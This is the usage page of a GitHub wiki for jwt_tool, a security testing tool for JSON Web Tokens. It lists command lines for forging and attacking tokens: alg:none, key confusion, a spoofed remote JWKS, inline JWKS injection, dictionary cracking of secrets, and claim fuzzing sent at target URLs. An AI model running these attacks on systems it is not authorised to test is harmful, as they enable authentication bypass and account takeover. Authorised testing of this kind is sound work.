-
Notifications
You must be signed in to change notification settings - Fork 671
Using jwt_tool
jwt_tool
was written using native Python 3 libraries. The dependencies are for HTTP transmission, colours and visual flair, plus the crypto processes such as signing and verifying RSA/ECDSA/PSS tokens, generating and reconstructing Public/Private Keys, and a few other practical tasks.
To grab a copy of jwt_tool
simply git clone it onto your system from a terminal:
$ git clone https://github.com/ticarpi/jwt_tool
$ python3 -m pip install termcolor cprint pycryptodomex requests
On first run the tool will generate a config file, some utility files, logfile, and a set of Public and Private keys in various formats.
- To make best use of the scanning options it is strongly advised to copy the custom-generated JWKS file somewhere that can be accessed remotely via a URL. This address should then be stored in
jwtconf.ini
as the "jwkloc" value. - In order to capture external service interactions - such as DNS lookups and HTTP requests - put your unique address for Burp Collaborator (or other alternative tools such as RequestBin) into the config file as the "httplistener" value.
Review the other options in the config file to customise your experience.
-
-X
eXploits-
a
= alg:none -
s
= spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack) -
k
= key confusion (specify public key with -pk) -
i
= inject inline JWKS
-
-
-S
Signing-
hs256/hs384/hs512
= HMAC-SHA signing (specify a secret with -k/-p) -
rs256/rs384/hs512
= RSA signing (specify an RSA private key with -pr) -
ec256/ec384/ec512
= Elliptic Curve signing (specify an EC private key with -pr) -
ps256/ps384/ps512
= PSS-RSA signing (specify an RSA private key with -pr)
-
-
-C
Check/Crack -
-M
Scanning Modes-
pb
= playbook audit -
er
= fuzz existing claims to force errors -
at
- All Tests!
-
-
-V
Verify signatures -
-I
Inject/Fuzz -
-T
Tamper (interactive) mode -
-Q
Query token ID
Run jwt_tool and see the usage information:
$ python3 jwt_tool.py -h
Process a token and read decoded claims and values:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
Verify a token against a Public Key:
$ python3 jwt_tool.py JWT_HERE -V -pk my_public.pem
or
$ python3 jwt_tool.py JWT_HERE -V -jw my_public_jwks.json
Start tampering interactively with the header and payload claims:
$ python3 jwt_tool.py JWT_HERE -T
All modes now allow for sending the token directly to an application.
You need to specify:
- target URL (-t)
- a request header (-rh) or request cookies (-rc) that are needed by the application (at least one must contain the token)
- (optional) any POST data (where the request is a POST)
- (optional) any additional jwt_tool options, such as modes or tampering/injection options
- (optional) a canary value (-cv) - a text value you expect to see in a successful use of the token (e.g. "Welcome, ticarpi")
An example request might look like this (using scanning mode for forced-errors):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er
Choose from the included scan options to run automated JWT assessments:
-
-M pb
= Playbook Scan -
-M er
= Forced errors Scan -
-M at
= All Tests - run all scan modes
Run a Playbook Scan using the provided token directly against the application to hunt for common misconfigurations:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb
Run a Forced Errors Scan using the provided token directly against the application to hunt for common misconfigurations:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb
Attempt to crack/guess the secret key (HMAC algorithms):
$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
or
$ python3 jwt_tool.py JWT_HERE -C -p password_here
Try the 'key-confusion' attack against asymmetric ciphers (RS-, EC-, PS-) with a known Public Key:
$ python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
Try using the 'none' algorithm for creating unvalidated tokens:
$ python3 jwt_tool.py JWT_HERE -X a
Spoof a remote JWKS: use the RSA keys auto-generated on first-run and serve the JWKS at the URL provided (-ju) - or add the URL to your jwtconf.ini config file - and sign the token with the Private Key:
$ python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/my_jwks.json
Inject an inline JWKS to the JWT header: use the RSA keys auto-generated on first-run, export the Public Key as a JSON Web Key Store object, inject into the JJWT header, and sign the token with the Private Key:
$ python3 jwt_tool.py JWT_HERE -X i
Sign token with a known key/password:
$ python3 jwt_tool.py JWT_HERE -S ec512 -pk jwttool_custom_private_EC.pem
$ python3 jwt_tool.py JWT_HERE -S hs256 -p jwt-secret-key
Inject into (new or existing) header and payload claims (-hc/-pc) - match claims and values evenly with matching header and payload values (-hv/-pv):
$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2 -pc payload1 -pv testval3
Fuzz values for header and payload claims by specifying a text file for any ONE (maximum) payload or header value (-hv/pv):
$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv fuzzing_list.txt -hc header2 -hv testval2 -pc payload1 -pv testval3
Read values and data about requests by querying the unique ID for any request/token:
$ python3 jwt_tool.py -Q jwttool_2c9c0b6a92d982148241ea599e7c5871
You can chain combinations of these options to perform complex interactions/token generation.
For example you can specify a token and Fuzz values, then sign it using an exploit (such as alg:none), or with a known key:
$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -X a
$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -S es512 -pk jwttool_custom_private_EC.pem -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test"
Try combining various options and see how complex you can make it!